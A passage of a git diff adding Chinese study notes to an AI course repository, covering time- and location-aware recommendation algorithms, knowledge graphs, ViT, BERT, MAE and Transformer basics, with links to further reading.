系统为您推荐一百样物品中的十样物品,推荐间隔一周,一周之后的榜单有七件不会是这周的物品。C 系统随机为您推荐一百样物品中的十样物品。 + 用推荐系统的思想分析上述三个系统:A 系统缺乏了随时间变化的推荐多样性,所以用户对于其满意度会随着时间推移而下降;B 系统兼顾了时间变化和推荐精度,会得到用户较高的好评;C 系统则是过于随机导致推荐精度下降。 + 综上,时间多样性会提高用户的满意度,所以如何在确保精度的条件下提高系统的时间多样性呢? + + - 需要用户在有新行为时,更新推荐列表 + 传统的离线更新的推荐系统无法满足需求,所以需要使用实时推荐系统 + - 需要用户在没有新行为的时候,经常变化推荐列表 + 通常采取以下三种方法: + + - 生成推荐列表时加入一定的随机性 + - 记录用户每天得到的推荐列表,在一段时间后,降低列表中用户未出现过行为的物品的权重 + - 每次给用户使用不同的推荐算法 + 当然,对于推荐系统来说,推荐准度的重要性要大于时间多样性,所以应该在尽量保证准度的基础上强化实践多样性,而这个强化的程度,则需要对推荐系统进行多次实验得到。 + +## 时间上下文推荐算法 + +- 最近最热门 + 一种最朴素的思想, 在系统引入了时间信息之后,最简单的非个性化推荐算法就是给用户推荐最近最热门的物品。 + 给定时间 T,物品 i 在最近的流行度可定义为: + +$$ +n_i(T)= \sum_{(u,i,t) \in Train ,t时间上下文相关的 itemCF 算法 + itemCF 算法所依赖的核心部分,在引入时间信息后可以进行进一步更新 + + - 物品相似度 利用用户行为,计算物品间的相似度,用户在相隔很短的时间内喜欢的物品通常具有更高的相似度,所以可以在相似度计算公式中引入时间信息,使得相似度计算更加准确。 + 原本的相似度公式为: + +$$ +sim(i,j)=\frac{\sum_{u\in N(i) \cap N(i)}{1}}{\sqrt{\vert N(i)\vert \vert N(j) \vert}}$$ + + +引入时间信息后,可更新为: + +$$sim(i,j)=\frac{\sum_{u\in N(i) \cap N(i)}{f(\vert t_{ui} - t_{uj}\vert)}}{\sqrt{\vert N(i)\vert \vert N(j) \vert}}$$ + + +其中$$f(\vert t_{ui}-t_{uj} \vert)$$ 为时间衰减项,其中$$t_{ui}$$为用户u对物品i产生行为的时间,$$f()$$ 函数的作用是,用户对i与j的作用时间相距越远,对应函数值越小,相当于对输入因子$$\vert t_{ui}-t_{uj} \vert$$ 进行一个反比操作。可以找到在数学中许多的衰减函数,例如: + + $$f(\vert t_{ui}-t_{uj} \vert)=\frac{1}{1+\alpha(\vert t_{ui}-t_{uj}\vert)}$$ + + +其中$$\alpha$$ 是时间衰减参数,它的取值与系统的对于自身定义有关系。收到用户兴趣变化的额外影响。 + + - 在线推荐 用户近期行为相比用户很久之前的行为,更能体现用户目前的兴趣,所以在进行预测时,应当加重用户近期行为的权重,但不应该偏离用户长期行为的行为基调。 +原本的用户u对于物品i的兴趣$$p(u,i)$$ 可通过如下公式计算: + +$$p(u,i)=\sum_{j\in N(u)}{sim(i,j)}$$ + + +引入时间信息可更新为: + + $$p(u,i)=\sum_{j\in N(u)\cap S(i,k)}{sim(i,j)\frac{1}{1+\beta \vert t_0-t_{uj}\vert}}$$ + + +在上面的更新后公式中,$$t_0$$ 表示当前时间,该公式表明,当 $$t_{uj}$$ 与 $$t_0$$ 越靠近,和物品j相似的物品就会在用户u的推荐列表中获得更高的排名。其中的$$\beta$$和上文的 $$\alpha$$ 是一样的,需要根据系统的情况选择合适的值。 + +- 时间上下文相关的userCF算法 +与itemCF算法类似,userCF在引入时间信息后也可以进行更新 + + - 用户兴趣相似度 用户相似度在引入时间信息后,会将用户相同的逆时序选择相似度降低。简单来说,就是A一月BF1长时间在线,二月BF5长时间在线,而B一月BF5长时间在线,二月BF1长时间在线;C行为信息与A相同。如果不引入时间信息,那么AB的相似度与AC的相似度是一样的,而实际上,AC的相似度会大于AB的相似度。 +uerCF的用户uv间相似度的基本公式为: + + $$w_{uv}=\frac{\vert N(u)\cap N(v)\vert}{\sqrt{\vert N(u)\cap N(v)\vert}}$$ + + +其中,$$N(u)$$ 是用户u喜欢的物品的合集,$$N(v)$$ 是用户v喜欢的物品的合集。 +引入时间信息后,公式可更新为: + + $$w_{uv}=\frac{\sum_{i \in N(u)\cap N(i)}{\frac{1}{1+\alpha \vert t_{ui}-t_{vi}\vert}}}{\sqrt{\vert N(u)\cap N(v)\vert}}$$ + + +同样增加了一个时间衰减因子,用户uv对于i的作用时间差距越大,那么两人的相似度会相应降低。 + + - 相似兴趣用户的最近行为 对于用户u来说,存在最近行为与用户u相似的用户v,那么用户v的最近行为,将会比用户u很久之前的行为更具有参考价值。 +userCF中用户u对于物品i兴趣的基础公式为: + + $$p(u,i)=\sum_{v\in S(u,k)}{w_{ui}r_{vi}}$$ + + +其中,$$S(u,k)$$ 包含了与用户 u 相似度最高的 k 名用户。而对应的$$r_{ui}$$ ,若用户产生过对i的行为,则其值为1 ,否则为0 。 +引入时间信息更新公式: + + $$p(u,i)=\sum_{v\in S(u,k)}{w_{ui}r_{vi}} \frac{1}{1+\alpha(\vert t_0-t_{vi}\vert)} +$$ + +- 时间段图模型 + 同样是一个基于图的推荐系统模型,引入时间信息,建立一个二分图时间段图模型: + +$$ +(U,S_U,I,S_I,,E,w,\sigma)$$ + + +其中,$$U$$ 是用户节点集合,$$S_U$$ 表示用户时间段节点集合,一个用户时间段节点$$v_{ut}\in S_U$$ 会和用户 $$u$$ 在时刻 $$t$$ 喜欢的的物品通过边相连。$$I$$ 是物品集合,$$S_I$$ 是物品时间段节点集合,一个物品时间段节点 $$v_{it}\in S_I$$ 会和所有在时间$$t$$ 喜欢物品 $$i$$ 的用户节点相连。 + + +$$E$$ 是边集合,包含两大类边 + +第一种:若用户 $$u$$ 对于物品 $$i$$ 有行为,则会存在边 $$e(u,i)\in E$$ ;第二种,若用户 $$u$$ 对于物品 $$i$$ 在时间 $$t$$ 有行为,那么将存在对应的两条边,$$e(v_{ut},v_i),e(v_u,v_{it})\in E$$ 。 + + +而 $$w(e)$$ 定义了边的权重,$$\sigma(e)$$ 定义了顶点的权重。具体示例: + + + +在构建了引入时间信息的图结构后,最简单的思想就是利用PersonalRank算法给用进行个性化推荐。但由于其复杂度较高,所以引入路径融合算法。 +一般来说,图上两个点的相关度强有以下的特征: + +- 两个顶点间有很多路径 + +- 两个顶点间路径比较短 + +- 两点间不经过出度大的点 ,即不经过与很多其他点相连的节点,在推荐系统思维中等效于不与过热门物品关系紧密。 + +### 路径融合算法 + +- 首先提取两个节点之间,长度小于一个给定值的所有路径。然后根据每条路径经过的不同节点,给予路径不同的权重。最后将所有路径的权重之和,作为两点的相关度。 +设 $$P=\lbrace v_1,v_2,...,v_n\rbrace$$ 是链接顶点 $$v_1$$ 到 $$v_n$$ 的一条路径,这条路径的权重 $$\Gamma(P)$$ 取决于这条路径所经过的所有顶点和边。 + +$$\Gamma(P)=\sigma(v_n)\prod_{i=1}^{n-1}{\frac{\sigma(v_i)\cdot w(v_i,v_{i+1})}{\vert out(v_i)\vert ^{\rho}}}$$ + + +其中,$$out(v)$$ 是顶点 $$v$$ 指向的顶点的集合,$$\vert out(v) \vert$$ 是顶点 $$v$$ 的出度,$$\sigma(v_i)\in(0,1]$$ 定义了顶点的权重,$$w(v_i,v_{i+1})\in (0,1]$$ 定义了边 $$e(v_i,v_{i+1})$$ 的权重。 +定义了一条边的权重之后,就可以定义顶点之间的相关度。对于顶点$$v_1,v_n$$ ,令$$p(v_1,v_n,K)$$ 为这两个顶点间距离小于K的所有路径,那么这两个顶点的相关度就可以表示为: + +$$d(v_1,v_n)=\sum_{P\in P(v_1,v_n,K)}{\Gamma(P)}$$ + + +对于时间段图模型,所有边的权重都为1,而顶点的权重$$\sigma(v)$$ 的定义为: +而关于路径融合算法的算法实现,可以使用基于图上的广度优先搜索算法实现。 + +# 地点上下文 + +## 地点信息效应 + +- 基于用户当前位置的推荐:对于用户当前位置,为其推荐距离更近的餐馆,娱乐场所或消费场所。 + +- 基于用户活跃位置的推荐:对于用户长期活跃的区域,降低该区域内物品的权重,提高范围外物品的权重,以提高系统的新鲜度。 + +## 基于位置的推荐算法 + +- 明尼苏达大学的LARS推荐系统(Location Aware Recommender System,位置感知推荐系统)。 + + - 对于数据的预处理 +将物品分为两类:(1)有空间属性的物品,餐馆,商店,旅游景点。(2)没有空间属性的物品,图书电影等。 +将用户分为两类:(1)有空间属性的用户,(2)另一类用户没有空间属性。 +基于上述的分类,将数据集整理成三个部分: +(用户,用户位置,物品,评分):记录了某一地点的用户,对于一个物品的评分。 +(用户,物品,物品位置,评分):记录了用户对于某一地点的物品的评分。 +(用户,用户位置,物品,物品位置,评分):记录了某个位置的用户,对于某个地点的物品的评分。 + + - 研究前两组数据:发现两种特征:(1)兴趣本地化,不同位置的用户存在较大的兴趣差异,不同国家和不同地区的差异。(2)活动本地化,一个用户往往在附近的地区活动。 + + - 对于不同数据的处理 + + - 第一种数据:LARS的基本思想是,采用树状结构来进行数据集划分。 +(1)例如:将所有用户作为根节点,将国家作为第一级子节点,省作为第二级,依次往下。 +(2)对于某一个具有位置信息的用户,我们就可以将他分配到一个子节点下,而该子节点包含了与当前用户具有相同位置信息的全体用户的行为数据。 +(3)LARS通过该节点的行为数据,利用基本推荐算法进行为用户进行推荐。 +但是,对于上述过程,若是树的深度较大,则划分到每个节点的用户数据将较少,难以训练出一个令人满意的模型。所以有改进方法如下: +从根节点出发,利用每个中间节点的数据训练出一个模型,而最终的推荐结果,是这一些列推荐模型所产出的推荐结果的加权结果。这个模型也被称为“金字塔模型”,其中深度是影响这个模型性能的重要参数,选取合适的深度对于该算法十分重要。 + + - 第二种数据:对于物品i在用户u推荐列表中的权重公式进行修正 +(1)首先忽略物品的位置信息,利用itemCF算法计算用户u对物品i的兴趣 +(2)计算物品i对于用户u的代价 $$TravelPenalty(u,i)$$ ,对于物品i与用户u之前评分的所有物品的位置距离计算平均值,度量方式通常采用交通网络数据。 +(3) 利用公式 + +$$RecScore(u,i)=P(u,i)-TravelPenalty(u,i)$$ + + +计算最终的权重。 + + - 第三种数据:LARS的处理方法相当于在第二种数据中引入了用户当前位置的信息。 +$$ diff --git a/4.人工智能/4.6.6.2.2基于数据的角度,看待推荐系统的构造.md b/4.人工智能/4.6.6.2.2基于数据的角度,看待推荐系统的构造.md new file mode 100644 index 0000000..480a69c --- /dev/null +++ b/4.人工智能/4.6.6.2.2基于数据的角度,看待推荐系统的构造.md @@ -0,0 +1,9 @@ +# 基于数据的角度,看待推荐系统的构造 + +推荐系统诞生的二十年以来,各种各样的推荐算法层出不穷。若是将他们进行一个粗略的分类,可以按照数据的形式和算法的形式分类。 + +按照数据的分类中:协同过滤,内容过滤,社会化过滤等 + +按照算法的分类中:基于领域的算法、基于图的算法、基于矩阵分解的算法等 + +接下来的这部分内容,主要遵循项亮老师在《推荐系统实践》中的思路,进行基于数据的角度的推荐系统构建介绍。 diff --git a/4.人工智能/4.6.6.2.3序列化推荐.md b/4.人工智能/4.6.6.2.3序列化推荐.md new file mode 100644 index 0000000..384fa75 --- /dev/null +++ b/4.人工智能/4.6.6.2.3序列化推荐.md @@ -0,0 +1,25 @@ +# 序列化推荐 + +# 什么是序列化推荐? + +在现实世界中,用户的前后行为都存在强烈的关联性与因果性,将用户过去的这一系列交互行为视作用户行为序列 u={ +$$ +i_1 +$$ + +, +$$ +i_2 +$$ + +,……,$$i_n + +$$ +}并通过构建模型对其建模,来预测下一时刻用户最感兴趣的内容$$i_{n+1}$$,这就是序列化推荐(Sequential Recommendation)的核心思想。目前序列化推荐的常用模型包括RNN、CNN、GNN以及Transformer。 + + + +> 传统的推荐系统,例如基于内容和协同过滤的推荐系统,以一种静态的方式建模用户和商品的交互并且只可以捕获用户广义的喜好。

而SRSs则是将用户和商品的交互建模为一个动态的序列并且利用序列的依赖性来活捉当前和最近用户的喜好。 + +![](static/boxcnolggxKhDZDBzIFPIaDFfhc.png) +$$ diff --git a/4.人工智能/4.6.6.2推荐系统.md b/4.人工智能/4.6.6.2推荐系统.md new file mode 100644 index 0000000..c3f28c8 --- /dev/null +++ b/4.人工智能/4.6.6.2推荐系统.md @@ -0,0 +1,17 @@ +# 推荐系统 + +许多人把推荐系统视为一种神秘的存在,推荐系统似乎知道我们的想法是什么。 + +如下图是阿里巴巴著名的“千人千面”推荐系统 + +![](static/boxcn3bdrD08wpaYhL59ezDukuc.jpg) + +还有短视频应用用户数量的急剧增长,这背后,视频推荐引擎发挥着不可替代的作用 + +个性化资讯应用更是以摧枯拉朽之势击败了传统的门户网站和新闻类应用 + +可以说,推荐系统几乎成了驱动互联网所有应用领域的核心技术系统,成为当今助推互联网增长的强劲引擎。 + +> 对于信息消费者,需要从大量信息中找到自己感兴趣的信息,而在信息过载时代,用户难以从大量信息中获取自己感兴趣、或者对自己有价值的信息。
对于信息生产者,需要让自己生产的信息脱颖而出,受到广大用户的关注。从物品的角度出发,推荐系统可以更好的发掘物品的长尾。 + +请大家自行了解什么是长尾效应。 diff --git a/4.人工智能/4.6.6.3知识图谱.md b/4.人工智能/4.6.6.3知识图谱.md new file mode 100644 index 0000000..badb06c --- /dev/null +++ b/4.人工智能/4.6.6.3知识图谱.md @@ -0,0 +1,45 @@ +# 知识图谱 + +## 谷歌的新概念 + +2012 年,谷歌工程师阿米特·辛格尔(Amit Singhal)在自己的 official blog 发表了一篇名叫《Introduce the Knowledge Graph》的文章,初次提出了知识图谱的概念,并将知识图谱运用于 Google 搜索中,文中介绍到,结合了知识图谱的 Google 搜索有了更强的能力: + +- Find the right thing :如果碰到要找的事物有同名时,你可以在相关推荐中看到 +- Get the best Summary:你能得到相关领域的一个很好概述 +- Go deeper and broader:除了你要找的知识外,你可能可以意外获得新领域的事物 + +原文: + +- https://www.blog.google/products/search/introducing-knowledge-graph-things-not/ + +## 发展脉络 + +不过知识图谱并非是一种新的技术和研究方向,更准确来说是一个新壶装老酒的概念包装,它的核心已有非常悠久的发展历史,甚至最早可以追溯到二十世纪五六年代,人工智能刚作为一个学科成立的时候,其中三大学派之一——符号主义。 + +具体其发展历程参考: + +- [https://mp.weixin.qq.com/s/Mcikp99bsVgxAaykctmcAw](https://mp.weixin.qq.com/s/Mcikp99bsVgxAaykctmcAw) 知识图谱的前世今生 +- [https://www.it610.com/article/1277333416756396032.htm](https://www.it610.com/article/1277333416756396032.htm) 知识图谱历史发展 + +在大致了解知识图谱的历史发展脉络后,我们或许对它有了一个初步的认知——一个由抽象符号构成的知识库,目的是为了让计算机理解人类的语义信息,打个不太恰当的比方,就是个计算机理解人类世界的大脑。 + +从中我们可以也窥探到当年符号主义学派学者们的野心,不过很显然,这条道路发展并不顺利,如今知识图谱还无法完全担任“大脑”这种重要的角色,绝大多时候,都是作为一个辅助位的角色,不过这个方向的潜力无疑是巨大的,并且它所能勾连的方向是非常宽广繁多的(不仅仅局限于 NLP 里),这导致了其复杂程度很高,但也衬托出其上限也可以很高。 + +不过这些都是题外话,继续深入,我们可能会从这个认知上延申出两个问题,一是如何存储这个知识库,而是形成这个知识库后又如何让计算机理解,毕竟计算机只懂 01。这两个问题也是知识图谱的发展方向。 + +## 构建 + +在了解了抽象的概念后,我们将视角移到具体实现上,如何来存储这个知识库?于是,现在就需要寻找一种较为简单方便的,并且能够表达语义关系的数据结构,然后图(Graph)就被拉来了。了解过图的都知道,图由节点和边构成。所以如果当我们将节点看作实体,即一个个具体的事物或概念(例如小明,小红,人),再由边代表实体之间的关系(朋友关系,种族),虽然可能存在一定程度上语义表达的不完备性,但面对生活中的大多数事物,这种简单的三元组(RDF)关系都可以进行表示,不够就多来几组。 + +于是这种由 head(头实体),relation(关系),tail(尾实体)所构成的有向图的数据结构,就变成了如今知识图谱的大致构成方式。不过它的整个构建流程是有一套更加详细且具体的流程的,从知识抽取到实体消歧到知识推理。 + +更具体的可参考: + +- [https://www.woshipm.com/pmd/5328539.html](https://www.woshipm.com/pmd/5328539.html) 产品视角下的知识图谱构建 + +## 让计算机理解 + +在成功搭建起知识图谱这个数据库后,接下来就是最重要的一步了,让计算机理解——表示学习。目前这个方向,最重要的就是向量化,将节点和关系全部向量化,一方面有向量的平移不变性的好处,另一方面也方便计算,在从中穿插点图论的相关知识,例如将知识图谱看成特大号异构图进行处理。不过这方面方向太多,难以一一列举。 + +- [https://www.cnblogs.com/fengwenying/default.html?page=5](https://www.cnblogs.com/fengwenying/default.html?page=5) 胡萝不青菜的博客 +- [https://space.bilibili.com/497998686?spm_id_from=333.337.0.0](https://space.bilibili.com/497998686?spm_id_from=333.337.0.0) up 主骰子 AI,知识图谱在推荐系统上的利用 diff --git a/4.人工智能/4.6.6自然语言处理(NLP).md b/4.人工智能/4.6.6自然语言处理(NLP).md new file mode 100644 index 0000000..c73db93 --- /dev/null +++ b/4.人工智能/4.6.6自然语言处理(NLP).md @@ -0,0 +1,7 @@ +# 自然语言处理(NLP) + +Natural Language Processing(NLP) + +当你看到这篇文章时,这一个领域已经被 GPT 等大语言模型干爆了。 + +[https://github.com/HarderThenHarder/transformers_tasks](https://github.com/HarderThenHarder/transformers_tasks) diff --git a/4.人工智能/4.6.7.1VIT.md b/4.人工智能/4.6.7.1VIT.md new file mode 100644 index 0000000..ee601b6 --- /dev/null +++ b/4.人工智能/4.6.7.1VIT.md @@ -0,0 +1,60 @@ +# VIT + +## 前言 + +``` + VIT前Transformer模型被大量应用在NLP自然语言处理当中,而在CV领域,Transformer的注意力机制attention也被广泛应用,比如Se模块,CBAM模块等等注意力模块,这些注意力模块能够帮助提升网络性能。而VIT的工作展示了不需要依赖CNN的结构,也可以在图像分类任务上达到很好的效果。同时VIT也影响了近2年的CV领域,改变了自2012年AlexNet提出以来卷积神经网络在CV领域的绝对统治地位。 +``` + +在本节内容中我们会带你了解这一框架。 + +## 模型详解 + +![](static/boxcn1wqKtwBc6MCJDm7ehvhXac.png) + +### 模型主题结构 + +结构上,VIT 采取的是原始 Transformer 模型,方便开箱即用,即在 encoder-decoder 结构上与 NLP 的 Transform 模型并无差别 + +主要做出的贡献在于数据处理和分类头 + +### Patch embedding + +#### 从 Word embedding 到 Patch embedding + +##### Word embedding + +简单来说就是用特殊的向量来表示一个句子中的某个词 + +即例如 + +> 今天天气不错,我要去看电影 + +其中则编码为[0.5,0.6,0.6] + +而具体来说 Word embedding 分为以下两步 + +1. 对 context 进行分词操作。 +2. 对分好的词进行 one-hot 编码,根据学习相应的权重对 one-hot 编码进行 N(embedded_dim)维空间的映射. + +##### Patch embedding + +简单来说 用一个特殊的向量来表示一张图片中某块图 + +例如 + +![](static/boxcn1szLG4Y4s0UkY3kkW18Xoc.png) + +![](static/boxcnv2inISAGi2xOauc3pxKpCb.png) + +其中该张图片的编码为[0.5,0.6,0.3,....] + +具体来说 + +1. 先对图片作分块 +2. 假设原始输入的图片数据是 H x W x C, +3. 假设每个块的长宽为(P, P),那么分块的数目为 N=H∗W/(P∗P) +4. 其中 vit 的分块是定下每一块的大小然后块的数量为计算结果 +5. 然后对每个图片块展平成一维向量 +6. 每个向量大小为 P*P*C +7. 接着对每个向量都做一个线性变换(即全连接层),得到 patch embedding diff --git a/4.人工智能/4.6.7.2BERT.md b/4.人工智能/4.6.7.2BERT.md new file mode 100644 index 0000000..6fb482b --- /dev/null +++ b/4.人工智能/4.6.7.2BERT.md @@ -0,0 +1,79 @@ +# BERT + +如果你想深入了解自然语言处理相关知识,本文只能让你在基础上了解 BERT 的架构和理念,细节就不能保证了。 + +但如果你看 BERT 的目的是了解 BERT 的创新点以了解把 BERT 拓展到 cv 领域的工作(如 MAE),本文可以让你快速理解 BERT 的理念。 + +# 前言 + +BERT 是一种基于 transformer 架构的自然语言处理模型,它把在 cv 领域广为应用的预训练(pre-trainning)微调(fine-tune)的结构成功引入了 NLP 领域。 + +简单来说,BERT 就是一种认识几乎所有词的训练好的网络,当你要做一些下游任务时,可以在 BERT 预训练模型的基础上进行一些微调,以进行你的任务。也就是 backbone 模型,输出的是文本特征。 + +举个例子,我要做一个文本情感分析任务,也就是把文本对情感进行分类,那我只需要在 BERT 的基础上加一个 mlp 作为分类头,在我的小规模数据上进行继续训练即可(也就是微调)。 + +mlp 的重点和创新并非它的模型结构,而是它的训练方式,前面没看懂的话可以先看看训练方式。 + +# 模型简单讲解 + +## 输入与输出 + +因为 BERT 是一个“backbone”模型,所以它的任务是从文本中抽取特征(feature,embedding...叫法很多,其实就是个向量)因此,它的输入是文本,输出是向量。 + +### 文本输入前的处理 + +在文本被输入模型之前,我们要对它进行一些处理: + +1. 词向量(wordpiece embedding):单词本身的向量表示。每个词(或者进行时过去时后缀之类的)会被记录为一个向量。它们被储存在一个字典里,这一步其实就是在字典中查找这个词对应的向量。 +2. 位置向量(position embedding):将单词的位置信息编码成特征向量。构建 position embedding 有两种方法:BERT 是初始化一个 position embedding,然后通过训练将其学出来;而 Transformer 是通过制定规则来构建一个 position embedding。 +3. 句子向量(segment embedding):用于区分两个句子的向量表示。这个在问答等非对称句子中是用于区别的。(这个主要是因为可能会用到对句子的分析中) + +BERT 模型的输入就是上面三者的和,如图所示: + +![](static/boxcngc1a7cWapQA9rSLXYqUvkf.png) + +## 模型结构 + +简单来说,BERT 是 transformer编码器的叠加,也就是下图左边部分。这算一个 block。 + +![](static/boxcnPg8594YzCdnX6KZxpEYYod.png) + +说白了就是一个 多头自注意力=>layer-norm=> 接 feed forward(其实就是 mlp)=>layer-norm,没有什么创新点在这里。因为是一个 backbone 模型,它没有具体的分类头之类的东西。输出就是最后一层 block 的输出。 + +# 训练方式 + +BERT 训练方式跟 cv 里的很多 backbone 模型一样,是先用几个具体任务训练模型,最后把分类头之类的去掉即可。 + +它用了以下两种具体任务进行训练: + +## 随机掩码(完形填空 MLM) + +跟以往的 nlp 模型不同,BERT 的掩码并非 transformer 那样,给前面不给后面,而是在句子中随机把单词替换为 mask,让模型去猜,也就是完形填空。下面给个例子: + +划掉的单词是被 mask 的 + +正常的掩码:I am a little cat + +BERT 的随机掩码:I am a little cat + +#### 一些技术细节: + +mask 方法是先抽取 15% 的单词,这些单词中 10% 不做变化,10% 替换为随机单词(让模型适应错别字用的),剩下 80% 替换为 mask。 + +## 前后句判别(NSP) + +这个很简单,从一篇文章中抽出两句,让模型判断它们是否是相邻的两个句子。 + +## 意义 + +BERT 的训练方式完全是无监督或者说自监督的。无论是 MLM 还是 NSP 都不需要进行人工标注,只要它是一个通顺的句子,就可以拿来进行训练,这大大降低了训练成本并且加大了数据使用量,这也是 BERT 最大的贡献点所在。 + +### 局限 + +BERT 因为是以完型填空训练的,因此不能用于文本生成任务,但是在分类等任务上效果显著并且广为适用。 + +# 相关资料: + +李沐的【BERT 论文逐段精读【论文精读】】 [https://www.bilibili.com/video/BV1PL411M7eQ/?share_source=copy_web&vd_source=59df19b7fca15c3fb440b91c21605fc6](https://www.bilibili.com/video/BV1PL411M7eQ/?share_source=copy_web&vd_source=59df19b7fca15c3fb440b91c21605fc6) + +原论文:[https://arxiv.org/pdf/1810.04805v2](https://arxiv.org/pdf/1810.04805v2) diff --git a/4.人工智能/4.6.7.3MAE.md b/4.人工智能/4.6.7.3MAE.md new file mode 100644 index 0000000..331524c --- /dev/null +++ b/4.人工智能/4.6.7.3MAE.md @@ -0,0 +1,49 @@ +# MAE + +看本文前,请确保你已了解 BERT 的相关知识 + +# 前言 + +MAE 是一个把 BERT 的随机掩码结构拓展应用到 cv 领域的模型 + +目的是通过自监督训练一个通用的 cv 的 backbone 模型 + +## MAE 想解决的问题 + +cv 领域,其实预训练模型早已推广,一般是在 imagenet 上进行预训练,但是 imagenet 的图片是有局限性的,比如物体一般是在图片中间等等。并且指标也越来越难刷上去。于是作者想通过像 BERT 一样进行无监督学习来引入更多数据并降低训练成本。 + +那么问题来了,既然我们要学习 BERT 的随机掩码,那么我们应该对什么做 mask 呢? + +因为图片不像文本,有单词这一基础单位。图片的基础单位像素在被单独拿出来的时候包含的语义信息是完全不如单词的。因为像素的语义信息与上下左右的连续关系很密切。于是作者采用了像 VIT 那样把图片分成好几个 patch,对 patch 做随机掩码。 + +# 模型结构与训练方式 + +看了上面的解释,相信你也有些思路了,其实这个模型很简单,只要拿随便一个抽取特征用的 backbone 模型,比如 VIT,CNN 之类的做编码器,再接一个生成图像的解码器就 ok 啦。下面讲一下作者用的模型结构: + +## 具体模型结构 + +为了方便比较起见,作者用了 VIT-large 做编码器,多层堆叠的 transformer 做解码器,其他貌似也没什么特殊的了。 + +## 模型输入 + +在这里,作者为了加大任务的难度,扩大了被 mask 掉的比例,避免模型只学到双线性插值去修补缺的图像。作者把 75% 的 patch 进行 mask,然后放入模型训练。从下图可以看出,被 mask 的块是不进行编码的,这样也可以降低计算量,减少成本。 + +![](static/boxcnd7HTEFOiJxVQ3jtOpzK4ie.png) + +在被保留的块通过编码器后,我们再在原先位置插入只包含位置信息的 mask 块,一起放入解码器。 + +## 训练方式 + +在通过 VIT 编码抽取特征和多层 transformer 生成图片后,我们对生成的图片做简单的 MSE 损失(就是平方损失),在训练完成后,去掉多层 transformer,留下训练好的 VIT 做 backbone,进行微调就可以处理下游任务了。这个在 BERT 里讲了,这里不再赘述。 + +下面是原论文给的训练结果,可以看到效果是很惊人的。(有些图我脑补都补不出来) + +![](static/boxcnPWO0VWbPvCE537tf6MWu4e.png) + +# 相关资料 + +更具体的比如模型性能对比最好还是去看原论文或者李沐老师的讲解 + +李沐【MAE 论文逐段精读【论文精读】】 [https://www.bilibili.com/video/BV1sq4y1q77t/?share_source=copy_web&vd_source=59df19b7fca15c3fb440b91c21605fc6](https://www.bilibili.com/video/BV1sq4y1q77t/?share_source=copy_web&vd_source=59df19b7fca15c3fb440b91c21605fc6) + +原论文:[https://arxiv.org/pdf/2111.06377v2.pdf](https://arxiv.org/pdf/2111.06377v2.pdf) diff --git a/4.人工智能/4.6.7Transformer.md b/4.人工智能/4.6.7Transformer.md new file mode 100644 index 0000000..84a7932 --- /dev/null +++ b/4.人工智能/4.6.7Transformer.md @@ -0,0 +1,59 @@ +# Transformer + +# 简介 + +看到这个,不知道你是否会感到奇怪,为什么要单独把一个奇怪的英文单词提出来单独放到一章内容里面来?或者说这个词可以翻译成变形金刚,变形金刚和深度学习有什么联系吗? + +这一切要从 2017 年一篇命名都很清奇的文章说起:[Attention Is All You Need](https://arxiv.org/abs/1706.03762?context=cs) + +他本来是用于机器翻译的文章,属于 NLP 领域,但是他所提出的框架 transformer 一时声名鹊起,首先是在 NLP 领域,Bert 及其无数改进席卷了整个领域,大规模的预训练模型广泛地被应用于各个任务内。 + +随后在 CV 领域中,VIT 的横空出世标志着 transformer 几乎一统了深度学习的多数领域,直到现在,一篇文章十有八九会用但 transformer 的相关内容。 + +并且,不少人也尝试去验证他的可解释性,目前为止给我印象最深的就是新加坡的一位教授发的文章,他把其中一个重要模块换成了 POOLING 层,依然有还不错的效果。 + +在本章节中我会尝试带你走进这个神奇的算法框架,但是在这之前,有几点是需要声明的: + +1. 鉴于我们视野的局限性,我无法很好的阐述清楚 NLP 领域的知识,但是有些内容是必要的,因此我会留下一下重要的教程供你参考。如果有机会我会进行补充 +2. 并不是你接触 NLP 或者了解一些任务,你就必须得把 RNN,LSTM 这些经典网络弄得烂熟于心,完全没必要,你可以让你对他们保持一个大体上的理解,希望这可以帮助你节约更多的时间。 +3. 该算法耗费的算力资源非常大,有时候想跑起来一个模型可能需要更大的显存,如果你只是想实验的话,最好去 COLAB 将他运行起来试试,当然你也可以尝试申请社团资源,我们会在你满足一定条件的情况下给予你一定的算力资源。 + +# 必要知识 + +## Sequence to Sequence + +序列到序列学习,一个有趣的概念 + +[A ten-minute introduction to sequence-to-sequence learning in Keras](https://blog.keras.io/a-ten-minute-introduction-to-sequence-to-sequence-learning-in-keras.html) + +你可以实操一下,它是调包 LSTM 的。你也可以借此了解一下他的概念,不用太精通。 + +## 注意力机制 + +大家不需要觉得它非常神秘,因为他其实本身就是矩阵运算的一种操作罢了,取了个好听的名字,我在很早的目标检测文章上看到过类似的机制,不过那时候没有这个名字罢了。 + +他很重要的一点在于处理序列数据上的优越性,在这里附上一个视频帮助大家学习 + +但是在 transformer 内,他使用的是名为 self attention 的东西,这点需要你额外进行学习 + +论文的优秀讲解 + +[Transformer 中 Self-Attention 以及 Multi-Head Attention 详解_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV15v411W78M?spm_id_from=333.337.search-card.all.click&vd_source=2cb6252f9211ae9d29cf1f76f0aea8d7) + +除此之外就是相关代码,不要求你可以完全自己复现,但是要保证非常重要的知识都懂 + +再贴上一个难度稍高的教程 + +[Vision Transformer 超详细解读 (原理分析 + 代码解读) (一)](https://zhuanlan.zhihu.com/p/340149804) + +# 思考题 + +我在这里留下一些思考题希望对你有启发 + +在 Multi-head Self-attention 中所谓 Q,K,V 到底指代的是什么?他们怎么产生的? + +位置编码有没有更好的形式产生? + +为什么用的是 LN 层?为什么不用 BN 层? + +你能不能阅读一下 transformer 的代码并且能明确说出哪些维度变换所对应的操作呢? diff --git a/4.人工智能/4.6.8.10总结.md b/4.人工智能/4.6.8.10总结.md new file mode 100644 index 0000000..d35a45f --- /dev/null +++ b/4.人工智能/4.6.8.10总结.md @@ -0,0 +1,30 @@ +# 总结 + +对比学习综述讲到这里也就基本结束了 + +来回顾一下对比学习的发展历程和一些要点吧! + +# 发展历程 + +| 论文名称 | 贡献 | 网络类型 | 用的代理任务 | 延续了哪篇工作 | +| -------------------------------------------------- | ------------------------------------------------------------------------------------------ | ---------------------------- | ------------------------------------- | -------------- | +| Inst Disc | 奠基作,引入 Memory Bank 大字典的概念,提出个体判别任务。 | 判别式网络 | 个体判别任务 | 无 | +| 定义正负样本的方式(因为不止一篇论文就不放名字了) | 引入生成式网络的概念,提出多视角作为不同正样本 | 前者是生成,后者是判别 | 时序预测任务
